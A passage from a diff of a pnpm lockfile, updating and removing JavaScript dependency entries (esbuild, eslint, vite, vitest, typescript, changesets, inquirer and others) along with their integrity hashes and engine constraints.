sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==} - engines: {node: '>=0.10.0'} + ora@9.4.1: + resolution: {integrity: sha512-6VlU9MLXbjVQD04AZCMX28hVtA5bUoadvUqO76MUCVA0ilwJbMiHsITRPfyVm6p/BC0Av/BXMujx39WCe1LEqw==} + engines: {node: '>=20'} outdent@0.5.0: resolution: {integrity: sha512-/jHxFIzoMXdqPzTaCpFzAAWhpkSjZPF4Vsn6jAfNpmbH/ymsmd7Qc6VE9BGn0L6YMj6uwpQLxCECpus4ukKS9Q==} @@ -1273,10 +1245,6 @@ packages: package-manager-detector@0.2.11: resolution: {integrity: sha512-BEnLolu+yuz22S56CU1SUKq3XC3PkwD5wv4ikR4MfGvnRVcmzXR9DwSlW2fEamyTPyXHomBJRzgapeuBvRNzJQ==} - parent-module@1.0.1: - resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} - engines: {node: '>=6'} - path-exists@4.0.0: resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} engines: {node: '>=8'} @@ -1299,26 +1267,26 @@ packages: picocolors@1.1.1: resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} - picomatch@2.3.1: - resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + picomatch@2.3.2: + resolution: {integrity: sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==} engines: {node: '>=8.6'} - picomatch@4.0.3: - resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + picomatch@4.0.4: + resolution: {integrity: sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==} + engines: {node: '>=12'} + + picomatch@4.0.5: + resolution: {integrity: sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==} engines: {node: '>=12'} pify@4.0.1: resolution: {integrity: sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==} engines: {node: '>=6'} - postcss@8.5.6: - resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + postcss@8.5.25: + resolution: {integrity: sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw==} engines: {node: ^10 || ^12 || >=14} - posthog-node@5.20.0: - resolution: {integrity: sha512-LkR5KfrvEQTnUtNKN97VxFB00KcYG1Iz8iKg8r0e/i7f1eQhg1WSZO+Jp1B4bvtHCmdpIE4HwYbvCCzFoCyjVg==} - engines: {node: '>=20'} - prelude-ls@1.2.1: resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} engines: {node: '>= 0.8.0'} @@ -1342,10 +1310,6 @@ packages: resolution: {integrity: sha512-VIMnQi/Z4HT2Fxuwg5KrY174U1VdUIASQVWXXyqtNRtxSr9IYkn1rsI6Tb6HsrHCmB7gVpNwX6JxPTHcH6IoTA==} engines: {node: '>=6'} - resolve-from@4.0.0: - resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} - engines: {node: '>=4'} - resolve-from@5.0.0: resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} engines: {node: '>=8'} @@ -1358,8 +1322,8 @@ packages: resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==} engines: {iojs: '>=1.0.0', node: '>=0.10.0'} - rollup@4.46.2: - resolution: {integrity: sha512-WMmLFI+Boh6xbop+OAGo9cQ3OgX9MIg7xOQjn+pTCwOkk+FNDAeAemXkJ3HzDJrVXleLOFVa1ipuc1AmEx1Dwg==} + rollup@4.62.2: + resolution: {integrity: sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA==} engines: {node: '>=18.0.0', npm: '>=8.0.0'} hasBin: true @@ -1374,6 +1338,11 @@ packages: engines: {node: '>=10'} hasBin: true + semver@7.8.5: + resolution: {integrity: sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==} + engines: {node: '>=10'} + hasBin: true + shebang-command@2.0.0: resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} engines: {node: '>=8'} @@ -1397,6 +1366,10 @@ packages: resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} engines: {node: '>=8'} + smol-toml@1.7.1: + resolution: {integrity: sha512-PPlsspAZ4jbMBu5DMFhfUGDQLu/vrL4SyBROVS37x8ynnVmFIs1VPBz1Co8Xks3TvpIaZXmU85y4DrQ+UyVFoQ==} + engines: {node: '>= 18'} + source-map-js@1.2.1: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} @@ -1413,41 +1386,33 @@ packages: std-env@3.9.0: resolution: {integrity: sha512-UGvjygr6F6tpH7o2qyqR6QYpwraIjKSdtzyBdyytFOHmPZY917kwdwLG0RbOjWOnKmnm3PeHjaoLLMie7kPLQw==} - stdin-discarder@0.2.2: - resolution: {integrity: sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==} + stdin-discarder@0.3.2: + resolution: {integrity: sha512-eCPu1qRxPVkl5605OTWF8Wz40b4Mf45NY5LQmVPQ599knfs5QhASUm9GbJ5BDMDOXgrnh0wyEdvzmL//YMlw0A==} engines: {node: '>=18'} string-width@4.2.3: resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} engines: {node: '>=8'} - string-width@7.2.0: - resolution: {integrity: sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==} - engines: {node: '>=18'} + string-width@8.2.2: + resolution: {integrity: sha512-GaPUh5gfdrYzqeVNZvUfT23vYYxXzKYidUcnMtJg/3rxRV63EFZy3k6xfKlmfeJD0176lnUV/Usr3XcwSvFzpg==} + engines: {node: '>=20'} strip-ansi@6.0.1: resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} engines: {node: '>=8'} - strip-ansi@7.1.0: - resolution: {integrity: sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==} + strip-ansi@7.2.0: + resolution: {integrity: sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==} engines: {node: '>=12'} strip-bom@3.0.0: resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==} engines: {node: '>=4'} - strip-json-comments@3.1.1: - resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} - engines: {node: '>=8'} - strip-literal@3.0.0: resolution: {integrity: sha512-TcccoMhJOM3OebGhSBEmp3UZ2SfDMZUEBdRA/9ynfLi8yYajyWX3JiXArcJt4Umh4vISpspkQIY8ZZoCqjbviA==} - supports-color@7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} - engines: {node: '>=8'} - term-size@2.2.1: resolution: {integrity: sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==} engines: {node: '>=8'} @@ -1458,14 +1423,14 @@ packages: tinyexec@0.3.2: resolution: {integrity: sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==} - tinyglobby@0.2.14: - resolution: {integrity: sha512-tX5e7OM1HnYr2+a2C/4V0htOcSQcoSTH9KgJnVvNm5zm/cyEWKJ7j7YutsH9CxMdtOkkLFy2AHrMci9IM8IPZQ==} - engines: {node: '>=12.0.0'} - tinyglobby@0.2.15: resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} engines: {node: '>=12.0.0'} + tinyglobby@0.2.17: + resolution: {integrity: sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==} + engines: {node: '>=12.0.0'} + tinypool@1.1.1: resolution: {integrity: sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==} engines: {node: ^18.0.0 || >=20.0.0} @@ -1478,10 +1443,6 @@ packages: resolution: {integrity: sha512-t2T/WLB2WRgZ9EpE4jgPJ9w+i66UZfDc8wHh0xrwiRNN+UwH98GIJkTeZqX9rg0i0ptwzqW+uYeIF0T4F8LR7A==} engines: {node: '>=14.0.0'} - tmp@0.0.33: - resolution: {integrity: sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==} - engines: {node: '>=0.6.0'} - to-regex-range@5.0.1: resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} engines: {node: '>=8.0'} @@ -1493,8 +1454,8 @@ packages: tr46@0.0.3: resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} - ts-api-utils@2.1.0: - resolution: {integrity: sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==} + ts-api-utils@2.5.0: + resolution: {integrity: sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==} engines: {node: '>=18.12'} peerDependencies: typescript: '>=4.8.4' @@ -1503,24 +1464,20 @@ packages: resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} engines: {node: '>= 0.8.0'} - type-fest@0.21.3: - resolution: {integrity: sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==} - engines: {node: '>=10'} - - typescript-eslint@8.50.1: - resolution: {integrity: sha512-ytTHO+SoYSbhAH9CrYnMhiLx8To6PSSvqnvXyPUgPETCvB6eBKmTI9w6XMPS3HsBRGkwTVBX+urA8dYQx6bHfQ==} + typescript-eslint@8.65.0: + resolution: {integrity: sha512-/ggrHAwyjENDusvyxbuqxAC2dTnZg/Z8F+fgQtYIz+L6n/9HfSlEZcFGV/NsMNa6CkGk0xUjUAFwC0vHOflvIA==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} peerDependencies: - eslint: ^8.57.0 || ^9.0.0 - typescript: '>=4.8.4 <6.0.0' + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' - typescript@5.9.3: - resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + typescript@6.0.3: + resolution: {integrity: sha512-y2TvuxSZPDyQakkFRPZHKFm+KKVqIisdg9/CZwm9ftvKXLP8NRWj38/ODjNbr43SsoXqNuAisEf1GdCxqWcdBw==} engines: {node: '>=14.17'} hasBin: true - undici-types@7.10.0: - resolution: {integrity: sha512-t5Fy/nfn+14LuOc2KNYg75vZqClpAiqscVvMygNnlsHBFpSXdJaYtXMcdNLpl/Qvc3P2cB3s6lOV51nqsFq4ag==} + undici-types@6.21.0: + resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==} universalify@0.1.2: resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} @@ -1534,8 +1491,8 @@ packages: engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} hasBin: true - vite@7.0.6: - resolution: {integrity: sha512-MHFiOENNBd+Bd9uvc8GEsIzdkn1JxMmEeYX35tI3fv0sJBUTfW5tQsoaOwuY4KhBI09A3dUJ/DXf2yxPVPUceg==} + vite@7.3.6: + resolution: {integrity: sha512-4XP60spRGjSZFf1qYH+dJIkK2znL3zQfl9KkOV9MkkRR/3Dls0dxaBsQPTloEc5BLXWPL9vsOxopxyKoMmDueg==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true peerDependencies: @@ -1574,16 +1531,16 @@ packages: yaml: optional: true - vitest@3.2.4: - resolution: {integrity: sha512-LUCP5ev3GURDysTWiP47wRRUpLKMOfPh+yKTx3kVIEiu5KOMeqzpnYNsKyOoVrULivR8tLcks4+lga33Whn90A==} + vitest@3.2.6: + resolution: {integrity: sha512-xejya+bT/j/+R/AGa1XOfRxLmNUlLtlwjRsFUILF+xHfzElmGcmFydy2gqqIrd62ptIEfwVMofd19uNWD9L7Nw==} engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} hasBin: true peerDependencies: '@edge-runtime/vm': '*' '@types/debug': ^4.1.12 '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 - '@vitest/browser': 3.2.4 - '@vitest/ui': 3.2.4 + '@vitest/browser': 3.2.6 + '@vitest/ui': 3.2.6 happy-dom: '*' jsdom: '*' peerDependenciesMeta: @@ -1626,8 +1583,8 @@ packages: resolution: {integrity: sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==} engines: {node: '>=8'} - yaml@2.8.2: - resolution: {integrity: sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==} + yaml@2.9.0: + resolution: {integrity: sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==} engines: {node: '>= 14.6'} hasBin: true @@ -1635,20 +1592,24 @@ packages: resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} engines: {node: '>=10'} - yoctocolors-cjs@2.1.2: - resolution: {integrity: sha512-cYVsTjKl8b+FrnidjibDWskAv7UKOfcwaVZdp/it9n1s9fU3IkgDbhdIRKCW4JDsAlECJY0ytoVPT3sK6kideA==} + yoctocolors-cjs@2.1.3: + resolution: {integrity: sha512-U/PBtDf35ff0D8X8D0jfdzHYEPFxAI7jJlxZXwCSez5M3190m+QobIfh+sWDWSHMCWWJN2AWamkegn6vr6YBTw==} + engines: {node: '>=18'} + + yoctocolors@2.2.0: + resolution: {integrity: sha512-xYqdZFUK/VYazNl/oCDYN+3WloWQwMfZxBoiNt6qNyk+xfOdi598muWE42rNZFp1kNOiqW936q5RhUdnpqElSg==} engines: {node: '>=18'} - zod@4.0.17: - resolution: {integrity: sha512-1PHjlYRevNxxdy2JZ8JcNAw7rX8V9P1AKkP+x/xZfxB0K5FYfuV+Ug6P/6NVSR2jHQ+FzDDoDHS04nYUsOIyLQ==} + zod@4.4.3: + resolution: {integrity: sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==} snapshots: '@babel/runtime@7.28.4': {} - '@changesets/apply-release-plan@7.0.12': + '@changesets/apply-release-plan@7.1.1': dependencies: - '@changesets/config': 3.1.1 + '@changesets/config': 3.1.4 '@changesets/get-version-range-type': 0.4.0 '@changesets/git': 3.0.4 '@changesets/should-skip-package': 0.1.2 @@ -1662,10 +1623,10 @@ snapshots: resolve-from: 5.0.0 semver: 7.7.2 - '@changesets/assemble-release-plan@6.0.9': + '@changesets/assemble-release-plan@6.0.10': dependencies: '@changesets/errors': 0.2.0 - '@changesets/get-dependents-graph': 2.1.3 + '@changesets/get-dependents-graph': 2.1.4 '@changesets/should-skip-package': 0.1.2 '@changesets/types': 6.1.0 '@manypkg/get-packages': 1.1.3 @@ -1675,38 +1636,36 @@ snapshots: dependencies: '@changesets/types': 6.1.0 - '@changesets/changelog-github@0.5.2': + '@changesets/changelog-github@0.7.0': dependencies: - '@changesets/get-github-info': 0.7.0 + '@changesets/get-github-info': 0.8.0 '@changesets/types': 6.1.0 dotenv: 8.6.0 transitivePeerDependencies: - encoding - '@changesets/cli@2.29.6(@types/node@24.2.0)': + '@changesets/cli@2.31.1(@types/node@20.19.43)': dependencies: - '@changesets/apply-release-plan': 7.0.12 - '@changesets/assemble-release-plan': 6.0.9 + '@changesets/apply-release-plan': 7.1.1 + '@changesets/assemble-release-plan': 6.0.10 '@changesets/changelog-git': 0.2.1 - '@changesets/config': 3.1.1 + '@changesets/config': 3.1.4 '@changesets/errors': 0.2.0 - '@changesets/get-dependents-graph': 2.1.3 - '@changesets/get-release-plan': 4.0.13 + '@changesets/get-dependents-graph': 2.1.4 + '@changesets/get-release-plan': 4.0.16 '@changesets/git': 3.0.4 '@changesets/logger': 0.1.1 '@changesets/pre': 2.0.2 - '@changesets/read': 0.6.5 + '@changesets/read': 0.6.7 '@changesets/should-skip-package': 0.1.2 '@changesets/types': 6.1.0 '@changesets/write': 0.4.0 - '@inquirer/external-editor': 1.0.1(@types/node@24.2.0) + '@inquirer/external-editor': 1.0.3(@types/node@20.19.43) '@manypkg/get-packages': 1.1.3 ansi-colors: 4.1.3 - ci-info: 3.9.0 enquirer: 2.4.1 fs-extra: 7.0.1 mri: 1.2.0 - p-limit: 2.3.0 package-manager-detector: 0.2.11 picocolors: 1.1.1 resolve-from: 5.0.0 @@ -1716,11 +1675,12 @@ snapshots: transitivePeerDependencies: - '@types/node' - '@changesets/config@3.1.1': + '@changesets/config@3.1.4': dependencies: '@changesets/errors': 0.2.0 - '@changesets/get-dependents-graph': 2.1.3 + '@changesets/get-dependents-graph': 2.1.4 '@changesets/logger': 0.1.1 + '@changesets/should-skip-package': 0.1.2 '@changesets/types': 6.1.0 '@manypkg/get-packages': 1.1.3 fs-extra: 7.0.1 @@ -1730,26 +1690,26 @@ snapshots: dependencies: extendable-error: 0.1.7 - '@changesets/get-dependents-graph@2.1.3': + '@changesets/get-dependents-graph@2.1.4': dependencies: '@changesets/types': 6.1.0 '@manypkg/get-packages': 1.1.3 picocolors: 1.1.1 semver: 7.7.2 - '@changesets/get-github-info@0.7.0': + '@changesets/get-github-info@0.8.0': dependencies: dataloader: 1.4.0 node-fetch: 2.7.0 transitivePeerDependencies: - encoding - '@changesets/get-release-plan@4.0.13': + '@changesets/get-release-plan@4.0.16': dependencies: - '@changesets/assemble-release-plan': 6.0.9 - '@changesets/config': 3.1.1 + '@changesets/assemble-release-plan': 6.0.10 + '@changesets/config': 3.1.4 '@changesets/pre': 2.0.2 - '@changesets/read': 0.6.5 + '@changesets/read': 0.6.7 '@changesets/types': 6.1.0 '@manypkg/get-packages': 1.1.3 @@ -1767,10 +1727,10 @@ snapshots: dependencies: picocolors: 1.1.1 - '@changesets/parse@0.4.1': + '@changesets/parse@0.4.3': dependencies: '@changesets/types': 6.1.0 - js-yaml: 3.14.1 + js-yaml: 4.3.0 '@changesets/pre@2.0.2': dependencies: @@ -1779,11 +1739,11 @@ snapshots: '@manypkg/get-packages': 1.1.3 fs-extra: 7.0.1 - '@changesets/read@0.6.5': + '@changesets/read@0.6.7': dependencies: '@changesets/git': 3.0.4 '@changesets/logger': 0.1.1 - '@changesets/parse': 0.4.1 + '@changesets/parse': 0.4.3 '@changesets/types': 6.1.0 fs-extra: 7.0.1 p-filter: 2.1.0 @@ -1805,265 +1765,254 @@ snapshots: human-id: 4.1.1 prettier: 2.8.8 - '@esbuild/aix-ppc64@0.25.8': + '@esbuild/aix-ppc64@0.28.1': optional: true - '@esbuild/android-arm64@0.25.8': + '@esbuild/android-arm64@0.28.1': optional: true - '@esbuild/android-arm@0.25.8': + '@esbuild/android-arm@0.28.1': optional: true - '@esbuild/android-x64@0.25.8': + '@esbuild/android-x64@0.28.1': optional: true - '@esbuild/darwin-arm64@0.25.8': + '@esbuild/darwin-arm64@0.28.1': optional: true - '@esbuild/darwin-x64@0.25.8': + '@esbuild/darwin-x64@0.28.1': optional: true - '@esbuild/freebsd-arm64@0.25.8': + '@esbuild/freebsd-arm64@0.28.1': optional: true - '@esbuild/freebsd-x64@0.25.8': + '@esbuild/freebsd-x64@0.28.1': optional: true - '@esbuild/linux-arm64@0.25.8': + '@esbuild/linux-arm64@0.28.1': optional: true - '@esbuild/linux-arm@0.25.8': + '@esbuild/linux-arm@0.28.1': optional: true - '@esbuild/linux-ia32@0.25.8': + '@esbuild/linux-ia32@0.28.1': optional: true - '@esbuild/linux-loong64@0.25.8': + '@esbuild/linux-loong64@0.28.1': optional: true - '@esbuild/linux-mips64el@0.25.8': + '@esbuild/linux-mips64el@0.28.1': optional: true - '@esbuild/linux-ppc64@0.25.8': + '@esbuild/linux-ppc64@0.28.1': optional: true - '@esbuild/linux-riscv64@0.25.8': + '@esbuild/linux-riscv64@0.28.1': optional: true - '@esbuild/linux-s390x@0.25.8': + '@esbuild/linux-s390x@0.28.1': optional: true - '@esbuild/linux-x64@0.25.8': + '@esbuild/linux-x64@0.28.1': optional: true - '@esbuild/netbsd-arm64@0.25.8': + '@esbuild/netbsd-arm64@0.28.1': optional: true - '@esbuild/netbsd-x64@0.25.8': + '@esbuild/netbsd-x64@0.28.1': optional: true - '@esbuild/openbsd-arm64@0.25.8': + '@esbuild/openbsd-arm64@0.28.1': optional: true - '@esbuild/openbsd-x64@0.25.8': + '@esbuild/openbsd-x64@0.28.1': optional: true - '@esbuild/openharmony-arm64@0.25.8': + '@esbuild/openharmony-arm64@0.28.1': optional: true - '@esbuild/sunos-x64@0.25.8': + '@esbuild/sunos-x64@0.28.1': optional: true - '@esbuild/win32-arm64@0.25.8': + '@esbuild/win32-arm64@0.28.1': optional: true - '@esbuild/win32-ia32@0.25.8': + '@esbuild/win32-ia32@0.28.1': optional: true - '@esbuild/win32-x64@0.25.8': + '@esbuild/win32-x64@0.28.1': optional: true - '@eslint-community/eslint-utils@4.9.0(eslint@9.39.2)': + '@eslint-community/eslint-utils@4.10.1(eslint@10.8.0)': dependencies: - eslint: 9.39.2 + eslint: 10.8.0 eslint-visitor-keys: 3.4.3 '@eslint-community/regexpp@4.12.2': {} - '@eslint/config-array@0.21.1': + '@eslint/config-array@0.23.5': dependencies: - '@eslint/object-schema': 2.1.7 - debug: 4.4.1 - minimatch: 3.1.2 + '@eslint/object-schema': 3.0.5 + debug: 4.4.3 + minimatch: 10.2.6 transitivePeerDependencies: - supports-color - '@eslint/config-helpers@0.4.2': + '@eslint/config-helpers@0.7.0': dependencies: - '@eslint/core': 0.17.0 + '@eslint/core': 1.2.1 - '@eslint/core@0.17.0': + '@eslint/core@1.2.1': dependencies: '@types/json-schema': 7.0.15 - '@eslint/eslintrc@3.3.3': - dependencies: - ajv: 6.12.6 - debug: 4.4.1 - espree: 10.4.0 - globals: 14.0.0 - ignore: 5.3.2 - import-fresh: 3.3.1 - js-yaml: 4.1.1 - minimatch: 3.1.2 - strip-json-comments: 3.1.1 - transitivePeerDependencies: - - supports-color - - '@eslint/js@9.39.2': {} - - '@eslint/object-schema@2.1.7': {} + '@eslint/object-schema@3.0.5': {} - '@eslint/plugin-kit@0.4.1': + '@eslint/plugin-kit@0.7.2': dependencies: - '@eslint/core': 0.17.0 + '@eslint/core': 1.2.1 levn: 0.4.1 - '@humanfs/core@0.19.1': {} + '@humanfs/core@0.19.2': + dependencies: + '@humanfs/types': 0.15.0 - '@humanfs/node@0.16.7': + '@humanfs/node@0.16.8': dependencies: - '@humanfs/core': 0.19.1 + '@humanfs/core': 0.19.2 + '@humanfs/types': 0.15.0 '@humanwhocodes/retry': 0.4.3 + '@humanfs/types@0.15.0': {} + '@humanwhocodes/module-importer@1.0.1': {} '@humanwhocodes/retry@0.4.3': {} - '@inquirer/ansi@1.0.0': {} + '@inquirer/ansi@1.0.2': {} - '@inquirer/checkbox@4.2.0(@types/node@24.2.0)': + '@inquirer/checkbox@4.3.2(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/figures': 1.0.13 - '@inquirer/type': 3.0.10(@types/node@24.2.0) - ansi-escapes: 4.3.2 - yoctocolors-cjs: 2.1.2 + '@inquirer/ansi': 1.0.2 + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/figures': 1.0.15 + '@inquirer/type': 3.0.10(@types/node@20.19.43) + yoctocolors-cjs: 2.1.3 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/confirm@5.1.14(@types/node@24.2.0)': + '@inquirer/confirm@5.1.21(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/type': 3.0.10(@types/node@24.2.0) + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/type': 3.0.10(@types/node@20.19.43) optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/core@10.2.2(@types/node@24.2.0)': + '@inquirer/core@10.3.2(@types/node@20.19.43)': dependencies: - '@inquirer/ansi': 1.0.0 - '@inquirer/figures': 1.0.13 - '@inquirer/type': 3.0.10(@types/node@24.2.0) + '@inquirer/ansi': 1.0.2 + '@inquirer/figures': 1.0.15 + '@inquirer/type': 3.0.10(@types/node@20.19.43) cli-width: 4.1.0 mute-stream: 2.0.0 signal-exit: 4.1.0 wrap-ansi: 6.2.0 - yoctocolors-cjs: 2.1.2 + yoctocolors-cjs: 2.1.3 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/editor@4.2.15(@types/node@24.2.0)': + '@inquirer/editor@4.2.23(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/type': 